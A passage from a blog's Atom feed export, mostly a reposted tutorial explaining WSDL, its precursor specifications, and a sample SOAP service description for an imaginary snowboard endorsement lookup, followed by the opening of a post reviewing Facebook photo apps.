0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;&lt;a name='h0'&gt;&lt;span style='font-size: 1.5em; font-weight: bold;' class='atitle'&gt;Background&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;WSDL occupies a space with many of its precedents overlapping some of the specifications. Let's take a brief look at the menagerie to provide some background. WebMethods' Web Interface Definition Language (WIDL), one of the pioneering specifications for description of remote Web services, was an XML format that took familiar approach (which was accessing functionality on a remote machine as if it were on a local machine) to users of remote procedural technologies, such as RPC and CORBA. There was some fit between WIDL and the XML-RPC system by UserLand. The former has since faded away, as message-based XML technologies have proven more popular than their procedural equivalents. The latter seems to be giving way to SOAP, which has support for message-oriented as well as procedural approaches.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;SOAP describes envelope and message formats, and has a basic request/response handshake protocol. Additionally, Microsoft developed the SOAP Contract Language (SCL) earlier this year to provide a system for on-line service descriptions for SOAP-based applications. This work in SCL, in addition to other protocols and related work from IBM and Ariba, has pretty much been phased into WSDL.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Just before WSDL emerged, a consortium of 36 companies, including IBM, Ariba, and Microsoft, launched the Universal Description, Discovery and Integration (UDDI) system (see Resources), an initiative to provide a standard directory of on-line business services with an elaborate API for querying the directories and service providers.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Microsoft kept itself busy in the area of Web services description before WSDL emerged. It had created another entrant, Discovery of Web Services (DISCO) (see Resources), which is in now in limbo, outside Microsoft's official .NET strategic plan. DISCO describes how to find ("discover") SCL descriptions of services for a particular requirements. Frankly, reading the DISCO spec, it is hard to make heads or tails of the value it was supposed to provide, but whatever it had of use has since been sprinkled into UDDI and WSDL.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Parallel to Microsoft's efforts on SCL, IBM was creating the Network Accessible Service Specification Language (NASSL) (see Resources). One can also see that IBM threw its ideas fully into WSDL, and certainly its NASSL editors. IBM also got into the services discovery act with their Advertisement and Discovery of Services (ADS). There doesn't appear to have ever been a formal specification of ADS, though the Web Services Toolkit from IBM's alphaWorks project has a reference implementation of it (see Resources).&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;If you are thoroughly confused by now, you're in good company. More than one wag has quipped that XML is a specification with no other use but to spawn scads of other specifications. The formation of the UDDI group is supposed to help in the area of service description. Out of the current spaghetti should emerge a simple order, creating an overall protocol for deployment of Web-based services. This will probably be in the form of separate but linked formats for service discovery, description, request/response protocol, request structure and data-typing, semantic discovery, and, of course, transport protocol.&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='#f1'&gt;Figure 1&lt;/a&gt;offers a suggested diagram representing this order and placing the various specifications I've mentioned accordingly. Hopefully, it will help clear up the landscape. Within this picture, WSDL handles the specific purpose of a description mechanism for services.&lt;/p&gt;&lt;br/&gt;&lt;a name='f1'&gt;&lt;b style='padding: 0.3em 5px 0.7em; font-size: 0.76em; font-weight: bold; font-family: arial,sans-serif;'&gt;Figure 1. Service roles and interactions&lt;/b&gt;&lt;/a&gt;&lt;br/&gt;&lt;img width='554' height='207' border='0' style='border-width: 0px; padding: 0.3em 5px 0.7em;' valign='top' src='soapfig1.gif' alt='Fig 1. Service roles and interactions'/&gt;&lt;br/&gt;&lt;p style='margin: 0px; padding: 5px; font-family: arial,sans-serif; font-size: 0.76em; clear: both; text-align: right; height: 15px;' class='ibm-ind-link ibm-back-to-top'&gt;&lt;a style='margin: 0px; padding: 0px 0px 0px 18px; color: rgb(76, 110, 148); display: inline; text-decoration: none; background-image: url(http://www.ibm.com/i/v16/icons/u_bold.gif); font-weight: bold; background-position: 0px -1px;' class='ibm-anchor-up-link' href='#ibm-pcon'&gt;Back to top&lt;/a&gt;&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;&lt;a name='h1'&gt;&lt;span style='font-size: 1.5em; font-weight: bold;' class='atitle'&gt;Sample WSDL document&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Let's look at how WSDL works with SOAP through the following example. Let us say we are the entrepreneurs behind the imaginary company snowboard-info.com, an intrepid snowboarding industry database providing a service that allows others to query endorsements from snowboard manufacturers. A client can send a request to retrieve this information from a server using a SOAP request like the one in&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='#l1'&gt;Listing 1&lt;/a&gt;. In natural language,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='#l1'&gt;Listing 1&lt;/a&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;encapsulates the question "Which professional snowboarder endorses the K2 FatBob?"&lt;/p&gt;&lt;br/&gt;&lt;a name='l1'&gt;&lt;b style='padding: 0.3em 5px 0.7em; font-size: 0.76em; font-weight: bold; font-family: arial,sans-serif;'&gt;Listing 1. A SOAP 1.1 Request&lt;/b&gt;&lt;/a&gt;&lt;br/&gt;&lt;table width='100%' cellspacing='0' cellpadding='0' border='0'&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style='border: 1px solid rgb(204, 204, 204); padding: 2px 2px 5px; font-family: arial,sans-serif; background-color: rgb(247, 247, 247) ! important; font-size: 0.75em;' class='code-outline'&gt;&lt;pre style='overflow: auto; width: 694px; margin-top: 0px; margin-bottom: 0px; font-family: &amp;apos;Andale Mono&amp;apos;,&amp;apos;Lucida Console&amp;apos;,Monaco,Liberation,fixed,monospace; font-size: 11px; background-color: rgb(247, 247, 247) ! important; color: rgb(0, 0, 0);' class='displaycode'&gt;&amp;lt;span&amp;gt;&lt;br /&gt;POST /EndorsementSearch HTTP/1.1&lt;br /&gt;Host: &amp;lt;a class="linkclass" href="http://www.snowboard-info.com/" style="color: rgb(76, 110, 148);"&amp;gt;www.snowboard-info.com&amp;lt;/a&amp;gt;&lt;br /&gt;Content-Type: text/xml; charset="utf-8"&lt;br /&gt;Content-Length: 261&lt;br /&gt;SOAPAction: "&amp;lt;a class="linkclass" href="http://www.snowboard-info.com/EndorsementSearch" style="color: rgb(76, 110, 148);"&amp;gt;http://www.snowboard-info.com/EndorsementSearch&amp;lt;/a&amp;gt;"&lt;br /&gt;&amp;lt;SOAP-ENV:Envelope&lt;br /&gt;  xmlns:SOAP-ENV="&amp;lt;a class="linkclass" href="http://schemas.xmlsoap.org/soap/envelope/" style="color: rgb(76, 110, 148);"&amp;gt;http://schemas.xmlsoap.org/soap/envelope/&amp;lt;/a&amp;gt;"&lt;br /&gt;  SOAP-ENV:encodingStyle="&amp;lt;a class="linkclass" href="http://schemas.xmlsoap.org/soap/encoding/" style="color: rgb(76, 110, 148);"&amp;gt;http://schemas.xmlsoap.org/soap/encoding/&amp;lt;/a&amp;gt;"&amp;gt;&lt;br /&gt;  &amp;lt;SOAP-ENV:Body&amp;gt;&lt;br /&gt;    &amp;lt;m:GetEndorsingBoarder xmlns:m="&amp;lt;a class="linkclass" href="http://namespaces.snowboard-info.com/" style="color: rgb(76, 110, 148);"&amp;gt;http://namespaces.snowboard-info.com&amp;lt;/a&amp;gt;"&amp;gt;    &lt;br /&gt;      &amp;lt;manufacturer&amp;gt;K2&amp;lt;/manufacturer&amp;gt;&lt;br /&gt;      &amp;lt;model&amp;gt;Fatbob&amp;lt;/model&amp;gt;&lt;br /&gt;    &amp;lt;/m:GetEndorsingBoarder&amp;gt;&lt;br /&gt;  &amp;lt;/SOAP-ENV:Body&amp;gt;&lt;br /&gt;&amp;lt;/SOAP-ENV:Envelope&amp;gt;&lt;br /&gt;&amp;lt;/span&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br/&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;In response, the server can send the SOAP 1.1 response (sans HTTP header) message for the foregoing request as shown in&lt;a style='color: rgb(76, 110, 148);' href='#l2'&gt;Listing 2&lt;/a&gt;. In natural language, it encapsulates the simple string response "Chris Englesmann".&lt;/p&gt;&lt;br/&gt;&lt;a name='l2'&gt;&lt;b style='padding: 0.3em 5px 0.7em; font-size: 0.76em; font-weight: bold; font-family: arial,sans-serif;'&gt;Listing 2. A SOAP 1.1 Response&lt;/b&gt;&lt;/a&gt;&lt;br/&gt;&lt;table width='100%' cellspacing='0' cellpadding='0' border='0'&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style='border: 1px solid rgb(204, 204, 204); padding: 2px 2px 5px; font-family: arial,sans-serif; background-color: rgb(247, 247, 247) ! important; font-size: 0.75em;' class='code-outline'&gt;&lt;pre style='overflow: auto; width: 694px; margin-top: 0px; margin-bottom: 0px; font-family: &amp;apos;Andale Mono&amp;apos;,&amp;apos;Lucida Console&amp;apos;,Monaco,Liberation,fixed,monospace; font-size: 11px; background-color: rgb(247, 247, 247) ! important; color: rgb(0, 0, 0);' class='displaycode'&gt;&amp;lt;span&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;SOAP-ENV:Envelope&amp;lt;br /&amp;gt;  xmlns:SOAP-ENV="&amp;lt;a class="linkclass" href="http://schemas.xmlsoap.org/soap/envelope/" style="color: rgb(76, 110, 148);"&amp;gt;http://schemas.xmlsoap.org/soap/envelope/&amp;lt;/a&amp;gt;"&amp;lt;br /&amp;gt;  SOAP-ENV:encodingStyle="&amp;lt;a class="linkclass" href="http://schemas.xmlsoap.org/soap/encoding/" style="color: rgb(76, 110, 148);"&amp;gt;http://schemas.xmlsoap.org/soap/encoding/&amp;lt;/a&amp;gt;"&amp;gt;&amp;lt;br /&amp;gt;  &amp;lt;SOAP-ENV:Body&amp;gt;&amp;lt;br /&amp;gt;    &amp;lt;m:GetEndorsingBoarderResponse xmlns:m="&amp;lt;a class="linkclass" href="http://namespaces.snowboard-info.com/" style="color: rgb(76, 110, 148);"&amp;gt;http://namespaces.snowboard-info.com&amp;lt;/a&amp;gt;"&amp;gt;&amp;lt;br /&amp;gt;      &amp;lt;endorsingBoarder&amp;gt;Chris Englesmann&amp;lt;/endorsingBoarder&amp;gt;&amp;lt;br /&amp;gt;    &amp;lt;/m:GetEndorsingBoarderResponse&amp;gt;&amp;lt;br /&amp;gt;  &amp;lt;/SOAP-ENV:Body&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/SOAP-ENV:Envelope&amp;gt;&amp;lt;/span&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br/&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Now the overall structure of requests, the relevant data types, the schema of the XML elements used, and other such matter are left to the trading partners by the SOAP specification itself. WSDL provides a standard for service specification that unites the types of requests and the requirements needed to process them.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;In order to get all the hot snowboarding portals and discussion sites hooked up to our system, we might want to define WSDL communications&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;port&lt;/i&gt;s. We do so by releasing the WSDL description of our point of service as shown in&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='code.html'&gt;Listing 3. A WSDL description for a Snowboarding endorsement query&lt;/a&gt;&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;First, a bit of reassurance.&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='code.html'&gt;Listing 3&lt;/a&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;may seem long, but WSDL is actually quite simple. Our sample WSDL document not only uses nearly every facet of WSDL, it also has a hefty chunk of XML Schema and also takes advantage of the SOAP binding to WSDL. This last portion, though presented in the same service description, is technically an extension to the standard service description.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;The whole thing is enclosed in the&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;definitions/&gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;element that describes a set of related services. The&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;types/&gt;&lt;/code&gt;element allows the specification of low-level data-typing for the message or procedure contents. Different mechanisms are permitted through namespace extensibility, but XML schemas are likely to be the choice for most users, and is used in our example. This specifies a simple element content model that you can see matches the sample exchange in&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='#l1'&gt;Listing 1&lt;/a&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;and&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='#l2'&gt;Listing 2&lt;/a&gt;. WSDL provides a system for importing data-type specifications located as separate resources, and there could be several such resources in cases of complex messages in multiple usage domains.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;The&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;message/&gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;element defines the data format of each individual transmission in the communication. In our case, one message represents the&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;EndorsingBoarder&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;request and the other the response. In our example, this is a simple statement that the body of the message is a particular element from the schema in the types section. The breaking of a transmission into message parts depends on the logical view of the data. For instance, if the transmission is a remote procedure call, the message might be divided into multiple parts, one of which is the procedure name and meta-data and the rest of which are the procedure parameters. There is naturally a relationship between the granularity of the data-typing and the break-down of the message into parts.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;The&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;porttype/&gt;&lt;/code&gt;element groups messages that form a single logical operation. For instance, in our case, we can have an&lt;code style='font-family: monospace; font-size: small ! important;'&gt;EndorsingBoarder&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;request which triggers an&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;EndorsingBoarder&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;response, or in case of error or exception, an&lt;code style='font-family: monospace; font-size: small ! important;'&gt;EndorsingBoarderFault&lt;/code&gt;. This particular exchange is grouped together into a WSDL&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;port type&lt;/i&gt;. As you can see, the relationship to messages is made by qualified name reference.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;There are only four forms of operations with built-in support in WSDL:&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;one-way&lt;/i&gt;,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;request-response&lt;/i&gt;,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;solicit-response&lt;/i&gt;, and&lt;i&gt;notification&lt;/i&gt;. The latter two are simply the "inverse" of the first two, the only difference being whether the end point in question is on the receiving or sending end of the initial message. Basically, WSDL supports unidirectional (one-way and notification) and bidirectional (request-response and solicit-response) port types. Faults are only supported in the bidirectional port types, unlike the CORBA model -- I'll leave the inevitable controversy between the two approaches right there for now.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;The WSDL document so far has moved from the concrete and physical (data typing) to the abstract and logical (messages and port types), with some reference between the two. The&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;binding/&gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;element is the bit that firmly provides the connection between logical and physical model. In this case, it takes the operation we have defined through the abstract port type and connects it to a concrete description of how it is transmitted through SOAP. Here is where we come to the SOAP extensions to WSDL I mentioned earlier. WSDL also provides bindings to bare-metal HTTP and MIME, and full extensibility to other protocols.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Our sample binding specifies the&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;GetEndorsingBoarderPortType&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;as having the SOAP "style" of&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;Document&lt;/i&gt;. The style can be&lt;i&gt;RPC&lt;/i&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;or&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;Document&lt;/i&gt;, the former indicating a more procedural bent to the communication and the latter a message-exchange direction. Of course, the dividing line between these is quite broad, and I can imagine much fruitless discussion over whether a given port type is one or the other. My bias in this debate is to use&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;Document&lt;/i&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;nearly everywhere.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Our binding also specifies the network transport as HTTP -- SOAP can be transmitted by other means, such as SMTP. The&lt;code style='font-family: monospace; font-size: small ! important;'&gt;  &lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;elements get down to the grit, mapping the individual messages in the port type to definition of the SOAP transmissions that actuate them. Note that we specify a SoapAction, which is required for SOAP over HTTP. The given value must be used in the HTTP headers of the actual messages in order to signal the "intent" of the message. This will supposedly allow intelligent proxying and firewalling of SOAP traffic some day.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;The final element,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;service/&gt;&lt;/code&gt;, defines a physical location for a communication end-point. It uses the port type and binding specified earlier, and basically gives the Web address or URI for a particular provider of the described service. Naturally, in our example, it is the address where we have set up our SOAP server to traffic in snowboard product endorsement queries.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;However, what if once having launched the service, it turned out to be a hit with users, and traffic begins to overwhelm our server? We might decide to set up a mirror, perhaps in Europe. In this case, the service is exactly the same, but we provide a separate URI from which it can be obtained. In the WSDL scheme of things, all we'd have to do to make this happen is modify our WSDL document to add another&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;service/&gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;element such as in&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;a style='color: rgb(76, 110, 148);' href='#l4'&gt;Listing 4&lt;/a&gt;.&lt;/p&gt;&lt;br/&gt;&lt;a name='l4'&gt;&lt;b style='padding: 0.3em 5px 0.7em; font-size: 0.76em; font-weight: bold; font-family: arial,sans-serif;'&gt;Listing 4. An alternative &lt;service&gt; element for handling multiple sites.&lt;/service&gt;&lt;/b&gt;&lt;/a&gt;&lt;br/&gt;&lt;table width='100%' cellspacing='0' cellpadding='0' border='0'&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style='border: 1px solid rgb(204, 204, 204); padding: 2px 2px 5px; font-family: arial,sans-serif; background-color: rgb(247, 247, 247) ! important; font-size: 0.75em;' class='code-outline'&gt;&lt;pre style='overflow: auto; width: 694px; margin-top: 0px; margin-bottom: 0px; font-family: &amp;apos;Andale Mono&amp;apos;,&amp;apos;Lucida Console&amp;apos;,Monaco,Liberation,fixed,monospace; font-size: 11px; background-color: rgb(247, 247, 247) ! important; color: rgb(0, 0, 0);' class='displaycode'&gt;&amp;lt;span&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;service name="EndorsementSearchEuropeanService"&amp;gt;&amp;lt;br /&amp;gt;   &amp;lt;documentation&amp;gt;snowboarding-info.com Endorsement Service European&amp;lt;br /&amp;gt;      Mirror&amp;lt;/documentation&amp;gt; &amp;lt;br /&amp;gt;   &amp;lt;port name="GetEndorsingBoarderPort"&amp;lt;br /&amp;gt;      binding="es:EndorsementSearchSoapBinding"&amp;gt;&amp;lt;br /&amp;gt;      &amp;lt;soap:address location="&amp;lt;a class="linkclass" href="http://www.snowboard-info.co.uk/EndorsementSearch" style="color: rgb(76, 110, 148);"&amp;gt;http://www.snowboard-info.co.uk/EndorsementSearch&amp;lt;/a&amp;gt;"/&amp;gt;&amp;lt;br /&amp;gt;   &amp;lt;/port&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/service&amp;gt;&amp;lt;/span&amp;gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br/&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Notice the different service name and address. Now any users who find this WSDL document through whatever means of service discovery will have two options for where to make the actual request.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;A few general comments on our WSDL example. You can see that WSDL leans heavily on XML namespaces. The XML namespaces given in the&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&amp;lt;definition&amp;gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;element's&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;targetNameSpace&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;attribute is by default attached to all the names used for the other top-level WSDL elements. Developers can use qualified names to refer to these elements using prefixes from the particular namespace declarations in scope. Note that the default namespaces are&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;i&gt;not&lt;/i&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;applied to un-prefixed names within WSDL attributes. This is consistent with other places where the XML namespaces mechanism has been borrowed for use in disambiguating names in the character data of XML specifications. XML namespaces are also used to connect WSDL elements (and elements from binding extensions) to the data-typing provided in the&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&amp;lt;types&amp;gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;element. In our example, we use the default namespace,&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;&lt;code style='font-family: monospace; font-size: small ! important;'&gt;&lt;span&gt;&lt;a style='color: rgb(76, 110, 148);' href='http://schemas.xmlsoap.org/wsdl/' class='linkclass'&gt;http://schemas.xmlsoap.org/wsdl/&lt;/a&gt;&lt;/span&gt;&lt;/code&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;to indicate the official elements of WSDL. However, the spec explicitly leaves wide open the option of extending the core elements using elements in other namespaces.&lt;/p&gt;&lt;p style='margin: 0px; padding: 0.3em 5px 0.7em; font-family: arial,sans-serif; font-size: 0.76em;'&gt;Overall this example is quite simple. It describes communication consisting of short SOAP transmissions, with two input strings and one output in each operation. WSDL could just as easily define multiple port types consisting of a myriad of messages that use the full, extraordinary range of XML Schemas. Then again, at least in the short term, more simple communications between XML service providers and users is more likely to succeed.&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=5a5088e9-a043-8e9c-be22-a3bbd7e008ff' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-6654642198203007019?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/6654642198203007019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=6654642198203007019' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6654642198203007019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/6654642198203007019'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2010/02/introduction-to-wsdl.html' title='INTRODUCTION TO WSDL'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-1702005034623753004</id><published>2010-02-15T05:15:00.001-08:00</published><updated>2010-02-15T05:15:53.794-08:00</updated><title type='text'>Applications for photos in Facebook</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;span style='border-collapse: separate; color: rgb(0, 0, 0); font-family: &amp;apos;Times New Roman&amp;apos;; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;' class='Apple-style-span'&gt;&lt;span style='color: rgb(53, 53, 53); font-family: Arial,Helvetica,sans-serif; font-size: 12px;' class='Apple-style-span'&gt;&lt;h2 style='border-color: rgb(175, 56, 120); border-width: 0px 0px 2px; border-bottom: 2px solid rgb(175, 56, 120); margin: 0px 0px 5px; padding: 2px 0px; text-align: left; vertical-align: baseline; color: rgb(32, 76, 75); display: block; background-color: transparent; font-family: Georgia,&amp;apos;Times New Roman&amp;apos;,serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 153%; line-height: normal; font-size-adjust: none; font-stretch: normal;'&gt;Facebook photo tools&lt;/h2&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;'&gt;&lt;a style='border-width: 0px; margin: 0px; padding: 0px; font-weight: bold; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(30, 91, 126); text-decoration: none; cursor: pointer;' href='http://www.facebook.com/apps/application.php?id=6636931413&amp;amp;ref=appd'&gt;Photo Album Strip&lt;/a&gt;&lt;/strong&gt;&lt;span class='Apple-converted-space'&gt; &lt;/span&gt;Photo Album Strip is a great app. After you install it on your profile, it will allow you to change the designations for your albums to anything you want. You can also change their colors, reduce the number of picture categories, or hide those that you don't want your friends to see. It's an extremely simple app, but it works well and it's one of the more convenient apps in this roundup. It's definitely worth trying out.&lt;/p&gt;&lt;div style='border-width: 0px; margin: 8px auto; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; width: 620px;' class='cnet-image-div image-regular float-none'&gt;&lt;img width='620' height='244' style='border-style: none; margin: 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline;' alt='Photo Album Strip' src='http://i.i.com.com/cnwk.1d/i/bto/20090722/Photo_Album_Strip.jpg' class='cnet-image'/&gt;&lt;p style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 15px; color: rgb(85, 85, 85);' class='image-caption'&gt;Photo Album Strip gives you some ideas for photo album categories.&lt;/p&gt;&lt;span style='border-width: 0px; margin: 2px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 11px; font-family: inherit; text-align: left; vertical-align: baseline; color: rgb(85, 85, 85);' class='image-credit'&gt;(Credit: Screenshot by Don Reisinger/CNET)&lt;/span&gt;&lt;/div&gt;&lt;p style='border-width: 0px; margin: 15px 0px 0px; padding: 0px; font-weight: inherit; font-style: inherit; font-size: 12px; font-family: inherit; text-align: left; vertical-align: baseline; line-height: 17px;'&gt;&lt;strong style='border-width: 